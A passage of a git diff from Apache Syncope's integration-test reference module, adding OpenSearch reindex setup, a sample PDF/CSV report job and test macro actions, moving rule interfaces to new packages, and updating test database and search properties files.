classNames.add(PushJobDelegate.class.getName()); classNames.add(ExpiredAccessTokenCleanup.class.getName()); @@ -175,6 +144,9 @@ public class ITImplementationLookup implements ImplementationLookup { classNames = new HashSet<>(); put(IdRepoImplementationType.LOGIC_ACTIONS, classNames); + classNames = new HashSet<>(); + classNames.add(TestMacroActions.class.getName()); + put(IdRepoImplementationType.MACRO_ACTIONS, classNames); classNames = new HashSet<>(); classNames.add(LDAPMembershipPropagationActions.class.getName()); @@ -207,7 +179,7 @@ public class ITImplementationLookup implements ImplementationLookup { classNames.add(EmailAddressValidator.class.getName()); classNames.add(AlwaysTrueValidator.class.getName()); classNames.add(BinaryValidator.class.getName()); - put(IdRepoImplementationType.VALIDATOR, classNames); + put(IdRepoImplementationType.ATTR_VALUE_VALIDATOR, classNames); classNames = new HashSet<>(); classNames.add(TestNotificationRecipientsProvider.class.getName()); @@ -231,18 +203,20 @@ public class ITImplementationLookup implements ImplementationLookup { private final ElasticsearchInit elasticsearchInit; - private boolean loaded; + private final OpenSearchInit openSearchInit; public ITImplementationLookup( final UserWorkflowAdapter uwf, final AnySearchDAO anySearchDAO, final EnableFlowableForTestUsers enableFlowableForTestUsers, - final ElasticsearchInit elasticsearchInit) { + final ElasticsearchInit elasticsearchInit, + final OpenSearchInit openSearchInit) { this.uwf = uwf; this.anySearchDAO = anySearchDAO; this.enableFlowableForTestUsers = enableFlowableForTestUsers; this.elasticsearchInit = elasticsearchInit; + this.openSearchInit = openSearchInit; } @Override @@ -252,11 +226,6 @@ public int getOrder() { @Override public void load(final String domain, final DataSource datasource) { - if (loaded) { - LOG.debug("Already loaded, nothing to do"); - return; - } - // in case the Flowable extension is enabled, enable modifications for test users if (enableFlowableForTestUsers != null && AopUtils.getTargetClass(uwf).getName().contains("Flowable")) { AuthContextUtils.callAsAdmin(domain, () -> { @@ -273,7 +242,13 @@ public void load(final String domain, final DataSource datasource) { }); } - loaded = true; + // in case the OpenSearch extension is enabled, reinit a clean index for all available domains + if (openSearchInit != null && AopUtils.getTargetClass(anySearchDAO).getName().contains("OpenSearch")) { + AuthContextUtils.callAsAdmin(domain, () -> { + openSearchInit.init(); + return null; + }); + } } @Override @@ -282,15 +257,8 @@ public Set getClassNames(final String type) { } @Override - public Set> getJWTSSOProviderClasses() { - return JWTSSOPROVIDER_CLASSES; - } - - @Override - public Class getReportletClass( - final Class reportletConfClass) { - - return REPORTLET_CLASSES.get(reportletConfClass); + public Class getReportClass(final Class reportConfClass) { + return REPORT_CLASSES.get(reportConfClass); } @Override diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/LinkedAccountSamplePullCorrelationRule.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/LinkedAccountSamplePullCorrelationRule.java index 19544aa588f..1c8b0f50a97 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/LinkedAccountSamplePullCorrelationRule.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/LinkedAccountSamplePullCorrelationRule.java @@ -21,13 +21,13 @@ import java.util.Optional; import org.apache.syncope.common.lib.to.Provision; import org.apache.syncope.common.lib.types.MatchType; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRuleConfClass; -import org.apache.syncope.core.persistence.api.dao.PullMatch; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; import org.apache.syncope.core.persistence.api.entity.Any; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRuleConfClass; +import org.apache.syncope.core.provisioning.api.rules.PullMatch; import org.identityconnectors.framework.common.objects.Attribute; import org.identityconnectors.framework.common.objects.SyncDelta; import org.springframework.beans.factory.annotation.Autowired; diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/OpenSearchInit.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/OpenSearchInit.java new file mode 100644 index 00000000000..d996e2abeea --- /dev/null +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/OpenSearchInit.java @@ -0,0 +1,74 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.fit.core.reference; + +import org.apache.syncope.common.lib.to.SchedTaskTO; +import org.apache.syncope.common.lib.types.IdRepoImplementationType; +import org.apache.syncope.common.lib.types.ImplementationEngine; +import org.apache.syncope.common.lib.types.TaskType; +import org.apache.syncope.common.rest.api.beans.ExecSpecs; +import org.apache.syncope.core.logic.TaskLogic; +import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; +import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.api.entity.Implementation; +import org.springframework.transaction.annotation.Transactional; + +public class OpenSearchInit { + + private static final String ES_REINDEX = "org.apache.syncope.core.provisioning.java.job.OpenSearchReindex"; + + private final ImplementationDAO implementationDAO; + + private final EntityFactory entityFactory; + + private final TaskLogic taskLogic; + + public OpenSearchInit( + final ImplementationDAO implementationDAO, + final EntityFactory entityFactory, + final TaskLogic taskLogic) { + + this.implementationDAO = implementationDAO; + this.entityFactory = entityFactory; + this.taskLogic = taskLogic; + } + + @Transactional + public void init() { + Implementation reindex = implementationDAO.findByType(IdRepoImplementationType.TASKJOB_DELEGATE). + stream(). + filter(impl -> impl.getEngine() == ImplementationEngine.JAVA && ES_REINDEX.equals(impl.getBody())). + findAny(). + orElseGet(() -> { + Implementation impl = entityFactory.newEntity(Implementation.class); + impl.setKey(ES_REINDEX); + impl.setEngine(ImplementationEngine.JAVA); + impl.setType(IdRepoImplementationType.TASKJOB_DELEGATE); + impl.setBody(ES_REINDEX); + return implementationDAO.save(impl); + }); + + SchedTaskTO task = new SchedTaskTO(); + task.setJobDelegate(reindex.getKey()); + task.setName("OpenSearch Reindex"); + task = taskLogic.createSchedTask(TaskType.SCHEDULED, task); + + taskLogic.execute(new ExecSpecs.Builder().key(task.getKey()).dryRun(false).build()); + } +} diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/SampleReportConf.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/SampleReportConf.java new file mode 100644 index 00000000000..e4cb3af7581 --- /dev/null +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/SampleReportConf.java @@ -0,0 +1,98 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.fit.core.reference; + +import java.util.ArrayList; +import java.util.List; +import org.apache.syncope.common.lib.report.ReportConf; + +public class SampleReportConf implements ReportConf { + + private static final long serialVersionUID = -882050095416116390L; + + private String stringValue; + + private int intValue; + + private long longValue; + + private float floatValue; + + private double doubleValue; + + private boolean booleanValue; + + private List listValues = new ArrayList<>(); + + public String getStringValue() { + return stringValue; + } + + public void setStringValue(final String stringValue) { + this.stringValue = stringValue; + } + + public int getIntValue() { + return intValue; + } + + public void setIntValue(final int intValue) { + this.intValue = intValue; + } + + public long getLongValue() { + return longValue; + } + + public void setLongValue(final long longValue) { + this.longValue = longValue; + } + + public float getFloatValue() { + return floatValue; + } + + public void setFloatValue(final float floatValue) { + this.floatValue = floatValue; + } + + public double getDoubleValue() { + return doubleValue; + } + + public void setDoubleValue(final double doubleValue) { + this.doubleValue = doubleValue; + } + + public boolean isBooleanValue() { + return booleanValue; + } + + public void setBooleanValue(final boolean booleanValue) { + this.booleanValue = booleanValue; + } + + public List getListValues() { + return listValues; + } + + public void setListValues(final List listValues) { + this.listValues = listValues; + } +} diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/SampleReportJobDelegate.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/SampleReportJobDelegate.java new file mode 100644 index 00000000000..c4c7434727f --- /dev/null +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/SampleReportJobDelegate.java @@ -0,0 +1,142 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.fit.core.reference; + +import com.fasterxml.jackson.core.JsonGenerator; +import com.fasterxml.jackson.databind.ObjectWriter; +import com.fasterxml.jackson.dataformat.csv.CsvMapper; +import com.fasterxml.jackson.dataformat.csv.CsvSchema; +import java.io.IOException; +import java.io.OutputStream; +import org.apache.pdfbox.pdmodel.PDDocument; +import org.apache.pdfbox.pdmodel.PDPage; +import org.apache.pdfbox.pdmodel.PDPageContentStream; +import org.apache.pdfbox.pdmodel.font.PDType1Font; +import org.apache.pdfbox.pdmodel.font.Standard14Fonts.FontName; +import org.apache.syncope.common.lib.report.ReportConf; +import org.apache.syncope.core.provisioning.api.job.report.ReportConfClass; +import org.apache.syncope.core.provisioning.java.job.report.AbstractReportJobDelegate; +import org.quartz.JobExecutionContext; +import org.quartz.JobExecutionException; +import org.springframework.http.MediaType; + +@ReportConfClass(SampleReportConf.class) +public class SampleReportJobDelegate extends AbstractReportJobDelegate { + + private SampleReportConf sampleReportConf; + + private void generateSamplePdfContent(final OutputStream os) throws IOException { + try (PDDocument doc = new PDDocument()) { + PDPage myPage = new PDPage(); + doc.addPage(myPage); + + try (PDPageContentStream cont = new PDPageContentStream(doc, myPage)) { + cont.beginText(); + + cont.setFont(new PDType1Font(FontName.HELVETICA_BOLD), 12); + cont.setLeading(14.5f); + + cont.newLineAtOffset(25, 700); + String line1 = "World War II (often abbreviated to WWII or WW2), " + + "also known as the Second World War,"; + cont.showText(line1); + + cont.newLine(); + + String line2 = "was a global war that lasted from 1939 to 1945, " + + "although related conflicts began earlier."; + cont.showText(line2); + cont.newLine(); + + String line3 = "It involved the vast majority of the world's " + + "countries—including all of the great powers—"; + cont.showText(line3); + cont.newLine(); + + String line4 = "eventually forming two opposing military " + + "alliances: the Allies and the Axis."; + cont.showText(line4); + cont.newLine(); + + cont.endText(); + } + + doc.save(os); + } + } + + private void generateSampleCsvContent(final OutputStream os) throws IOException { + CsvMapper mapper = new CsvMapper(); + mapper.configure(JsonGenerator.Feature.IGNORE_UNKNOWN, true); + + CsvSchema schema = CsvSchema.builder(). + setUseHeader(true). + addColumn("stringValue"). + addColumn("intValue"). + addColumn("longValue"). + addColumn("floatValue"). + addColumn("doubleValue"). + addColumn("booleanValue"). + addColumn("listValues"). + build(); + + ObjectWriter writer = mapper.writerFor(SampleReportConf.class).with(schema); + + writer.writeValues(os).write(sampleReportConf); + } + + @Override + public void setConf(final ReportConf conf) { + if (conf instanceof SampleReportConf) { + sampleReportConf = (SampleReportConf) conf; + } else { + throw new IllegalArgumentException("Expected " + SampleReportConf.class.getName() + ", got " + conf); + } + } + + @Override + protected String doExecute( + final boolean dryRun, + final OutputStream os, + final String executor, + final JobExecutionContext context) throws JobExecutionException { + + if (!dryRun) { + try { + switch (report.getMimeType()) { + case MediaType.APPLICATION_PDF_VALUE: + generateSamplePdfContent(os); + break; + + case "text/csv": + generateSampleCsvContent(os); + break; + + default: + } + } catch (IOException e) { + throw new JobExecutionException(e); + } + } + + return (dryRun + ? "DRY " + : "") + "RUNNING"; + } +} diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestAccountRule.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestAccountRule.java index 67a6457a267..4430b1fc035 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestAccountRule.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestAccountRule.java @@ -19,10 +19,10 @@ package org.apache.syncope.fit.core.reference; import org.apache.syncope.common.lib.policy.AccountRuleConf; -import org.apache.syncope.core.persistence.api.dao.AccountRule; -import org.apache.syncope.core.persistence.api.dao.AccountRuleConfClass; import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount; import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.AccountRuleConfClass; import org.apache.syncope.core.spring.policy.AccountPolicyException; import org.springframework.transaction.annotation.Transactional; @@ -41,14 +41,19 @@ public void setConf(final AccountRuleConf conf) { } } - @Transactional(readOnly = true) @Override - public void enforce(final User user) { - if (!user.getUsername().contains(conf.getMustContainSubstring())) { + public void enforce(final String username) { + if (!username.contains(conf.getMustContainSubstring())) { throw new AccountPolicyException("Username not containing " + conf.getMustContainSubstring()); } } + @Transactional(readOnly = true) + @Override + public void enforce(final User user) { + enforce(user.getUsername()); + } + @Transactional(readOnly = true) @Override public void enforce(final LinkedAccount accout) { diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestCommand.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestCommand.java index 8ad73db82fe..6382d770c27 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestCommand.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestCommand.java @@ -19,13 +19,14 @@ package org.apache.syncope.fit.core.reference; import java.util.Optional; +import java.util.Set; import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.request.AnyObjectCR; import org.apache.syncope.common.lib.to.AnyObjectTO; import org.apache.syncope.common.lib.to.RealmTO; import org.apache.syncope.core.logic.AnyObjectLogic; import org.apache.syncope.core.logic.RealmLogic; -import org.apache.syncope.core.logic.api.Command; +import org.apache.syncope.core.provisioning.api.macro.Command; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; @@ -43,7 +44,8 @@ public class TestCommand implements Command { private AnyObjectLogic anyObjectLogic; private Optional getRealm(final String fullPath) { - return realmLogic.list(fullPath).stream().filter(realm -> fullPath.equals(realm.getFullPath())).findFirst(); + return realmLogic.search(null, Set.of(fullPath), -1, -1).getRight().stream(). + filter(realm -> fullPath.equals(realm.getFullPath())).findFirst(); } @Transactional(propagation = Propagation.NOT_SUPPORTED) diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestCommandArgs.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestCommandArgs.java index 3f83a3949c8..2406ba5bd44 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestCommandArgs.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestCommandArgs.java @@ -19,6 +19,7 @@ package org.apache.syncope.fit.core.reference; import io.swagger.v3.oas.annotations.media.Schema; +import java.util.Objects; import javax.validation.constraints.NotEmpty; import org.apache.syncope.common.lib.command.CommandArgs; @@ -63,6 +64,36 @@ public void setPrinterName(final String printerName) { this.printerName = printerName; } + @Override + public int hashCode() { + int hash = 3; + hash = 89 * hash + Objects.hashCode(this.parentRealm); + hash = 89 * hash + Objects.hashCode(this.realmName); + hash = 89 * hash + Objects.hashCode(this.printerName); + return hash; + } + + @Override + public boolean equals(final Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + final TestCommandArgs other = (TestCommandArgs) obj; + if (!Objects.equals(this.parentRealm, other.parentRealm)) { + return false; + } + if (!Objects.equals(this.realmName, other.realmName)) { + return false; + } + return Objects.equals(this.printerName, other.printerName); + } + @Override public String toString() { return "TestCommandArgs{" diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/actuate/SyncopeConsoleInfoContributor.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestMacroActions.java similarity index 56% rename from client/idrepo/console/src/main/java/org/apache/syncope/client/console/actuate/SyncopeConsoleInfoContributor.java rename to fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestMacroActions.java index e0bcd0e163f..bc49e62a806 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/actuate/SyncopeConsoleInfoContributor.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestMacroActions.java @@ -16,22 +16,25 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.console.actuate; +package org.apache.syncope.fit.core.reference; -import org.apache.syncope.client.console.ConsoleProperties; +import java.util.Map; +import java.util.stream.Collectors; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.provisioning.api.macro.MacroActions; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.boot.actuate.info.Info; -import org.springframework.boot.actuate.info.InfoContributor; -import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.transaction.annotation.Transactional; -public class SyncopeConsoleInfoContributor implements InfoContributor { +public class TestMacroActions implements MacroActions { @Autowired - protected ConsoleProperties consoleProperties; + private RealmDAO realmDAO; - @PreAuthorize("isAuthenticated()") + @Transactional(readOnly = true) @Override - public void contribute(final Info.Builder builder) { - builder.withDetail("consoleProperties", consoleProperties); + public Map getDropdownValues(final String formProperty) { + return realmDAO.findChildren(realmDAO.getRoot()).stream(). + collect(Collectors.toMap(Realm::getFullPath, Realm::getName)); } } diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestNotificationRecipientsProvider.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestNotificationRecipientsProvider.java index b45d84d5ef7..2b175481338 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestNotificationRecipientsProvider.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestNotificationRecipientsProvider.java @@ -18,7 +18,9 @@ */ package org.apache.syncope.fit.core.reference; +import java.util.Map; import java.util.Set; +import org.apache.syncope.core.persistence.api.entity.Any; import org.apache.syncope.core.persistence.api.entity.Notification; import org.apache.syncope.core.provisioning.api.notification.RecipientsProvider; import org.springframework.transaction.annotation.Transactional; @@ -27,7 +29,11 @@ public class TestNotificationRecipientsProvider implements RecipientsProvider { @Transactional(readOnly = true) @Override - public Set provideRecipients(final Notification notification) { + public Set provideRecipients( + final Notification notification, + final Any any, + final Map jexlVars) { + return Set.of(getClass().getSimpleName() + "@syncope.apache.org"); } } diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestPasswordRule.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestPasswordRule.java index 2a3eb71df50..311c788ea98 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestPasswordRule.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestPasswordRule.java @@ -19,10 +19,10 @@ package org.apache.syncope.fit.core.reference; import org.apache.syncope.common.lib.policy.PasswordRuleConf; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRuleConfClass; import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount; import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRuleConfClass; import org.apache.syncope.core.spring.policy.PasswordPolicyException; import org.apache.syncope.core.spring.security.Encryptor; import org.slf4j.Logger; @@ -53,10 +53,17 @@ public void setConf(final PasswordRuleConf conf) { } } + @Override + public void enforce(final String username, final String clearPassword) { + if (clearPassword != null && !clearPassword.endsWith(conf.getMustEndWith())) { + throw new PasswordPolicyException("Password not ending with " + conf.getMustEndWith()); + } + } + @Transactional(readOnly = true) @Override - public void enforce(final User user) { - if (user.getClearPassword() != null && !user.getClearPassword().endsWith(conf.getMustEndWith())) { + public void enforce(final User user, final String clearPassword) { + if (clearPassword != null && !clearPassword.endsWith(conf.getMustEndWith())) { throw new PasswordPolicyException("Password not ending with " + conf.getMustEndWith()); } } diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestPullActions.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestPullActions.java index 78992bfd2d0..8d937ea8a6c 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestPullActions.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/TestPullActions.java @@ -18,7 +18,6 @@ */ package org.apache.syncope.fit.core.reference; -import java.util.Optional; import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.request.AnyCR; import org.apache.syncope.common.lib.request.AnyUR; @@ -44,15 +43,15 @@ public void beforeProvision( final ProvisioningProfile profile, final SyncDelta delta, final AnyCR anyCR) throws JobExecutionException { - Optional attrTO = anyCR.getPlainAttrs().stream(). - filter(attr -> "fullname".equals(attr.getSchema())).findFirst(); - if (attrTO.isEmpty()) { - attrTO = Optional.of(new Attr()); - attrTO.get().setSchema("fullname"); - anyCR.getPlainAttrs().add(attrTO.get()); - } - attrTO.get().getValues().clear(); - attrTO.get().getValues().add(String.valueOf(counter++)); + Attr attrTO = anyCR.getPlainAttrs().stream(). + filter(attr -> "fullname".equals(attr.getSchema())).findFirst(). + orElseGet(() -> { + Attr a = new Attr(); + a.setSchema("fullname"); + return a; + }); + attrTO.getValues().clear(); + attrTO.getValues().add(String.valueOf(counter++)); } @Override diff --git a/fit/core-reference/src/main/resources/core-all.properties b/fit/core-reference/src/main/resources/core-all.properties index 3946fa1a95d..3a13cbf963c 100644 --- a/fit/core-reference/src/main/resources/core-all.properties +++ b/fit/core-reference/src/main/resources/core-all.properties @@ -15,8 +15,9 @@ # specific language governing permissions and limitations # under the License. -saml2.sp4ui.keystore=file://${conf.directory}/saml.keystore.jks +saml2.sp4ui.keystore=file://${syncope.conf.dir}/saml.keystore.jks saml2.sp4ui.keystore-type=jks saml2.sp4ui.keystore-storepass=changeit saml2.sp4ui.keystore-keypass=changeit -saml2.sp4ui.skew=300 +saml2.sp4ui.maximum-authentication-lifetime=3600 +saml2.sp4ui.accepted-skew=300 diff --git a/fit/core-reference/src/main/resources/core-elasticsearch.properties b/fit/core-reference/src/main/resources/core-elasticsearch.properties index d426e44d978..02961d9d604 100644 --- a/fit/core-reference/src/main/resources/core-elasticsearch.properties +++ b/fit/core-reference/src/main/resources/core-elasticsearch.properties @@ -15,9 +15,7 @@ # specific language governing permissions and limitations # under the License. -elasticsearch.hostname=localhost -elasticsearch.port=9200 -elasticsearch.scheme=http +elasticsearch.hosts[0]=http://localhost:9200 elasticsearch.indexMaxResultWindow=10000 elasticsearch.numberOfShards=1 elasticsearch.numberOfReplicas=1 diff --git a/fit/core-reference/src/main/resources/core-embedded.properties b/fit/core-reference/src/main/resources/core-embedded.properties index 4aba37e36b3..5e57aa93e62 100644 --- a/fit/core-reference/src/main/resources/core-embedded.properties +++ b/fit/core-reference/src/main/resources/core-embedded.properties @@ -40,7 +40,7 @@ spring.datasource.driver-class-name=org.h2.Driver security.adminUser=${adminUser} security.anonymousUser=${anonymousUser} security.jwsKey=${jwsKey} -security.secretKey=${secretKey} +security.aesSecretKey=NyefOIpekEJVBASbbETMbcns11HouPNn persistence.domain[0].key=Master persistence.domain[0].jdbcDriver=org.h2.Driver @@ -68,7 +68,7 @@ provisioning.quartz.delegate=org.quartz.impl.jdbcjobstore.StdJDBCDelegate provisioning.quartz.sql=tables_h2.sql provisioning.quartz.waitForJobsToCompleteOnShutdown=false -provisioning.connIdLocation=${connid.location},\ +provisioning.connIdLocation=${syncope.connid.location},\ connid://${testconnectorserver.key}@localhost:${testconnectorserver.port} spring.mail.host=localhost diff --git a/fit/core-reference/src/main/resources/core-majson.properties b/fit/core-reference/src/main/resources/core-majson.properties new file mode 100644 index 00000000000..62efd56e144 --- /dev/null +++ b/fit/core-reference/src/main/resources/core-majson.properties @@ -0,0 +1,35 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +persistence.indexesXML=classpath:majson/indexes.xml +persistence.viewsXML=classpath:majson/views.xml + +persistence.domain[0].key=Master +persistence.domain[0].jdbcDriver=org.mariadb.jdbc.Driver +persistence.domain[0].jdbcURL=jdbc:mariadb://${DB_CONTAINER_IP}:3306/syncope?characterEncoding=UTF-8 +# keep the next two lines until https://jira.mariadb.org/browse/MDEV-27898 is fixed +persistence.domain[0].dbUsername=root +persistence.domain[0].dbPassword=password +persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.MariaDBDictionary(blobTypeName=LONGBLOB,dateFractionDigits=3) +persistence.domain[0].orm=META-INF/spring-orm-majson.xml +persistence.domain[0].auditSql=audit_majson.sql +persistence.domain[0].poolMaxActive=10 +persistence.domain[0].poolMinIdle=2 + +provisioning.quartz.delegate=org.quartz.impl.jdbcjobstore.StdJDBCDelegate +provisioning.quartz.sql=tables_mariadb.sql + diff --git a/fit/core-reference/src/main/resources/core-ojson.properties b/fit/core-reference/src/main/resources/core-ojson.properties index bd1b785b544..7c5bf0cd120 100644 --- a/fit/core-reference/src/main/resources/core-ojson.properties +++ b/fit/core-reference/src/main/resources/core-ojson.properties @@ -21,7 +21,7 @@ persistence.viewsXML=classpath:ojson/views.xml persistence.domain[0].key=Master persistence.domain[0].jdbcDriver=oracle.jdbc.OracleDriver persistence.domain[0].jdbcURL=jdbc:oracle:thin:@${DB_CONTAINER_IP}:1521/XEPDB1 -persistence.domain[0].schema=SYNCOPE +persistence.domain[0].dbSchema=SYNCOPE persistence.domain[0].dbUsername=syncope persistence.domain[0].dbPassword=syncope persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.OracleDictionary diff --git a/fit/core-reference/src/main/resources/core-opensearch.properties b/fit/core-reference/src/main/resources/core-opensearch.properties new file mode 100644 index 00000000000..351d0a9ab78 --- /dev/null +++ b/fit/core-reference/src/main/resources/core-opensearch.properties @@ -0,0 +1,21 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +opensearch.hosts[0]=http://localhost:9200 +opensearch.indexMaxResultWindow=10000 +opensearch.numberOfShards=1 +opensearch.numberOfReplicas=1 diff --git a/fit/core-reference/src/main/resources/core-oracle.properties b/fit/core-reference/src/main/resources/core-oracle.properties index ae2398604d2..06bea50ecb8 100644 --- a/fit/core-reference/src/main/resources/core-oracle.properties +++ b/fit/core-reference/src/main/resources/core-oracle.properties @@ -18,7 +18,7 @@ persistence.domain[0].key=Master persistence.domain[0].jdbcDriver=oracle.jdbc.OracleDriver persistence.domain[0].jdbcURL=jdbc:oracle:thin:@${DB_CONTAINER_IP}:1521/XEPDB1 -persistence.domain[0].schema=SYNCOPE +persistence.domain[0].dbSchema=SYNCOPE persistence.domain[0].dbUsername=syncope persistence.domain[0].dbPassword=syncope persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.OracleDictionary diff --git a/fit/core-reference/src/main/resources/core-sqlserver.properties b/fit/core-reference/src/main/resources/core-sqlserver.properties index 79fed5b4b65..4eb2c42cd97 100644 --- a/fit/core-reference/src/main/resources/core-sqlserver.properties +++ b/fit/core-reference/src/main/resources/core-sqlserver.properties @@ -18,7 +18,7 @@ persistence.domain[0].key=Master persistence.domain[0].jdbcDriver=com.microsoft.sqlserver.jdbc.SQLServerDriver persistence.domain[0].jdbcURL=jdbc:sqlserver://${DB_CONTAINER_IP}:1433;databaseName=syncope -persistence.domain[0].schema=dbo +persistence.domain[0].dbSchema=dbo persistence.domain[0].dbUsername=syncope persistence.domain[0].dbPassword=Syncope123 persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.SQLServerDictionary diff --git 